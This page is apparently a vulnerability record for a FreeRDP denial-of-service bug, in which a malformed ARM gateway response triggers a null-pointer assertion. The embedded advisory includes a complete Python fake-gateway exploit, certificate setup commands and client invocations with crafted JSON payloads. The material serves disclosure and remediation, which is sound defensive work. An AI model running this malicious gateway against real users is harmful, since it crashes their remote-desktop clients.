Read the docs

FreeRDP ARM gateway response can crash the client process

Priority LOW 35CWE-617Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
Low
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · Low
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-hqf8-95c7-6r92. Fix status from GitHub. Impact type from CWE-617.

Summary

FreeRDP from 3.0.0 through 3.32.1 is affected. In AAD-enabled builds, the ARM gateway response parser leaves a null pointer when redirectedServerCert is missing or not a string, which trips an assertion (CWE-617). A user who selects a malicious or malformed gateway can terminate the FreeRDP client process, causing a loss of availability.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

### Summary A user-selected ARM gateway can crash an AAD-enabled FreeRDP client by returning an HTTP 200 JSON response without a string `redirectedServerCert` field. ### Details In FreeRDP's optional AAD-enabled client build, the ARM response parser treats a missing or non-string `redirectedServerCert` as a successful optional-field lookup while leaving its output pointer null. The caller then passes that null pointer to the target-certificate parser, whose stream initializer asserts that the input buffer is non-null. A malicious or malformed gateway selected by the user can therefore terminate the FreeRDP client process. This requires `WITH_AAD=ON`; the audited default AAD-off client does not compile the ARM gateway route. The demonstrated impact is client-side availability loss only; no authentication bypass, data disclosure, or data modification was shown. ### Proof of concept This reproducer runs only against a loopback fake gateway. It needs Python 3, OpenSSL, and an already-built FreeRDP client with `WITH_AAD=ON` and `WITH_WINPR_JSON=ON`. The local fake server binds loopback ports 443 and 3561 because the client uses HTTPS port 443 for AAD discovery and the test ARM endpoint is on 3561. Port 443 must be free and available to the account running the server. The reproducer does not contact a public gateway. The following is the original executed fake gateway program from the validation harness, embedded in full. It has no attachment dependency; save it as `poc.py` in an empty directory: ```python #!/usr/bin/env python3 """Fake ARM/AAD gateway for CAND-000024 (DAST-77 GAPFILL-aadprinter). Two TLS listeners: 127.0.0.1:443 - AAD well-known document (freerdp_http_request() in libfreerdp/core/aad.c hardcodes https port 443) 127.0.0.1:3561 - ARM /api/arm/v2/connections endpoint The ARM 200-response JSON deliberately OMITS `redirectedServerCert`, which makes arm_pick_base64Utf16Field() return TRUE with a NULL buffer (libfreerdp/core/gateway/arm.c:591-596) and arm_fill_gateway_parameters() pass NULL to rdp_redirection_read_target_cert() (arm.c:1088-1090) -> WINPR_ASSERT(buffer) at winpr/libwinpr/utils/stream.c:152 -> SIGABRT. Every request/response is appended to --log for evidence. """ import argparse import json import socket import ssl import sys import threading WELLKNOWN = json.dumps({ "token_endpoint": "https://127.0.0.1/token", "authorization_endpoint": "https://127.0.0.1/auth", "device_authorization_endpoint": "https://127.0.0.1/device", "issuer": "https://127.0.0.1", "jwks_uri": "https://127.0.0.1/jwks", "response_modes_supported": ["query"], "subject_types_supported": ["public"], "id_token_signing_alg_values_supported": ["RS256"], }) # Trigger payload: NO redirectedServerCert key at all. ARM_OK = json.dumps({ "authentication url": "https://127.0.0.1:3561/", "gateway stock": 42, "gatewayLocation": "wss://127.0.0.1:3561/", "redirectedServerName": "gapfill-vm", "redirectedUsername": "gapfill-user", }) LOG_LOCK = threading.Lock() def log(path, msg): with LOG_LOCK: with open(path, "a") as f: f.write(msg.rstrip() + "\n") def read_request(conn): """Read one HTTP request (headers + Content-Length body if present).""" data = b"" while b"\r\n\r\n" not in data: chunk = conn.recv(65536) if not chunk: break data += chunk if len(data) > 1 << 20: break head, _, rest = data.partition(b"\r\n\r\n") headers = head.decode("latin-1", "replace") length = 0 for line in headers.split("\r\n"): if line.lower().startswith("content-length:"): try: length = int(line.split(":", 1)[1].strip()) except ValueError: length = 0 while len(rest) < length: chunk = conn.recv(65536) if not chunk: break rest += chunk return headers, rest[:length] def handle(conn, port, logpath): try: conn.settimeout(10) headers, body = read_request(conn) if not headers: return request_line = headers.split("\r\n", 1)[0] path = request_line.split(" ")[1] if len(request_line.split(" ")) > 1 else "?" log(logpath, f"[port {port}] {request_line}") for line in headers.split("\r\n")[1:]: if line: log(logpath, f"[port {port}] {line}") if body: log(logpath, f"[port {port}] body: {body.decode('utf-8', 'replace')}") if "openid-configuration" in path: payload = WELLKNOWN.encode() ctype = "application/json" status = "200 OK" elif path.startswith("/api/arm/v2/connections"): payload = ARM_OK.encode() ctype = "application/json" status = "200 OK" else: payload = b'{"error":"not found"}' ctype = "application/json" status = "404 Not Found" resp = ( f"HTTP/1.1 {status}\r\n" f"Content-Type: {ctype}\r\n" f"Content-Length: {len(payload)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() + payload log(logpath, f"[port {port}] --> {status} body={payload.decode()}") conn.sendall(resp) except Exception as exc: # noqa: BLE001 - evidence tool log(logpath, f"[port {port}] handler error: {exc!r}") finally: try: conn.shutdown(socket.SHUT_RDWR) except OSError: pass conn.close() def serve(port, ctx, logpath): srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM) srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("127.0.0.1", port)) srv.listen(8) log(logpath, f"[port {port}] listening (TLS)") while True: try: raw, _ = srv.accept() except OSError: break def run(raw=raw, port=port): try: conn = ctx.wrap_socket(raw, server_side=True) except Exception as exc: # noqa: BLE001 log(logpath, f"[port {port}] TLS handshake error: {exc!r}") raw.close() return handle(conn, port, logpath) threading.Thread(target=run, daemon=True).start() def main(): ap = argparse.ArgumentParser() ap.add_argument("--cert-dir", required=True) ap.add_argument("--log", required=True) ap.add_argument("--arm-port", type=int, default=3561) ap.add_argument("--wk-port", type=int, default=443) ap.add_argument( "--arm-json", default=None, help="override the ARM 200-response body (default: trigger payload " "without redirectedServerCert)", ) args = ap.parse_args() global ARM_OK if args.arm_json is not None: ARM_OK = args.arm_json ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) ctx.load_cert_chain(f"{args.cert_dir}/chain.pem", f"{args.cert_dir}/srv.key") open(args.log, "w").close() threads = [ threading.Thread(target=serve, args=(args.arm_port, ctx, args.log), daemon=True), threading.Thread(target=serve, args=(args.wk_port, ctx, args.log), daemon=True), ] for t in threads: t.start() log(args.log, "fake ARM gateway up: ports %d (arm) %d (wellknown)" % ( args.arm_port, args.wk_port)) try: threading.Event().wait() except KeyboardInterrupt: pass return 0 if __name__ == "__main__": sys.exit(main()) ``` Generate a loopback-only test certificate and start the server in one terminal. The original harness defaults to the missing-key trigger. Run the client command from a second terminal, then stop the gateway with Ctrl+C. Restart it with the two `--arm-json` values below for the controls: ```sh mkdir -p certs openssl req -x509 -newkey rsa:2048 -keyout certs/ca.key -out certs/ca.pem -days 2 -nodes -subj "/CN=FreeRDP PoC CA" openssl req -newkey rsa:2048 -keyout certs/srv.key -out certs/srv.csr -nodes -subj "/CN=127.0.0.1" printf 'subjectAltName=IP:127.0.0.1,DNS:localhost\n' > certs/srv.ext openssl x509 -req -in certs/srv.csr -CA certs/ca.pem -CAkey certs/ca.key -CAcreateserial -out certs/srv.pem -days 2 -extfile certs/srv.ext cat certs/srv.pem certs/ca.pem > certs/chain.pem sudo -E python3 poc.py --cert-dir certs --log fake-gateway.log --arm-port 3561 --wk-port 443 ``` In a second terminal, run this command from the FreeRDP source/build workspace containing the AAD-enabled `build-aad` directory and `cjson-prefix`: ```sh BD=build-aad DISPLAY=:99 SSL_CERT_FILE="$PWD/certs/ca.pem" LD_LIBRARY_PATH="$BD/winpr/libwinpr:$BD/libfreerdp:$BD/client/common:cjson-prefix/lib" timeout 90 "$BD/client/X11/xfreerdp" /v:127.0.0.1 /u:scan /p:local-e2e-only /cert:ignore /gateway:type:arm,g:127.0.0.1:3561,bearer:gapfill-bearer-token /azure:ad:127.0.0.1 /load-balance-info:gapfill-lbi '/app:program:||gapfill' /log-level:DEBUG ``` For the non-string control, restart the server with: ```sh sudo -E python3 poc.py --cert-dir certs --log fake-gateway.log --arm-port 3561 --wk-port 443 --arm-json '{"authentication url":"https://127.0.0.1:3561/","gateway stock":42,"gatewayLocation":"wss://127.0.0.1:3561/","redirectedServerName":"gapfill-vm","redirectedUsername":"gapfill-user","redirectedServerCert":42}' ``` For the valid-string control, restart it with: ```sh sudo -E python3 poc.py --cert-dir certs --log fake-gateway.log --arm-port 3561 --wk-port 443 --arm-json '{"authentication url":"https://127.0.0.1:3561/","gateway stock":42,"gatewayLocation":"wss://127.0.0.1:3561/","redirectedServerName":"gapfill-vm","redirectedUsername":"gapfill-user","redirectedServerCert":"AAAA"}' ``` The client may return a nonzero status for the valid-string control because `AAAA` is not a valid target certificate; the relevant control is that it exits through ordinary error handling instead of the null-buffer assertion. To run the AAD-off control, start the fake gateway in the default missing-key mode and replace `BD=build-aad` in the client command with `BD=build-off`, pointing it at the corresponding AAD-off build. It should report that ARM gateway support was not compiled in and should send no ARM POST. The retained end-to-end runs on the audited 3.32.1-dev0 AAD build show that a missing field and numeric value `42` both reached `WINPR_ASSERT(buffer)` and exit 134; the string value `"AAAA"` produced a clean certificate decode error and no assertion; the AAD-off build sent no ARM POST and did not abort. The embedded gateway is the original executed server source from those runs. The commands use portable relative build, certificate, and log paths. ### Impact The demonstrated impact is client-side availability loss only; no authentication bypass, data disclosure, or data modification was shown.

Why it matters now

Fix Fixed FreeRDP (c/c++): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c/c++)>= 3.0.0, <= 3.32.13.32.2Patch availableGHSA-hqf8-95c7-6r92
  • FreeRDP (c/c++) Vendor— Affected >= 3.0.0, <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-hqf8-95c7-6r92

Remediation

Upgrade FreeRDP to version 3.32.2, which fixes the issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-hqf8-95c7-6r92 FreeRDP (c/c++) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-hqf8-95c7-6r92

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences